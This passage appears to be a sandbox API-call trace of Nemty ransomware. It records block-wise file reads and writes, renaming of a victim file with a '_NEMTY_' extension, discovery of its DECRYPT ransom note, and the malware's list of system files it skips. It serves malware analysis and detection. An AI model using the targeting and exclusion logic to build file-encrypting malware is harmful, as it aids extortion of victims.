hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.924] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.924] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0143.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.029] CloseHandle (hObject=0xffffffff) returned 0 [0144.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0144.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0144.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\settings.html._nemty_kgobjgd_")) returned 0 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0144.029] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d89bd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0144.029] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0144.029] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0144.029] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0144.029] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0144.030] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0144.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0144.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0144.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0144.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0144.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.031] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d89bd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0144.031] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0144.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0144.031] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0144.031] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0144.032] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0144.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 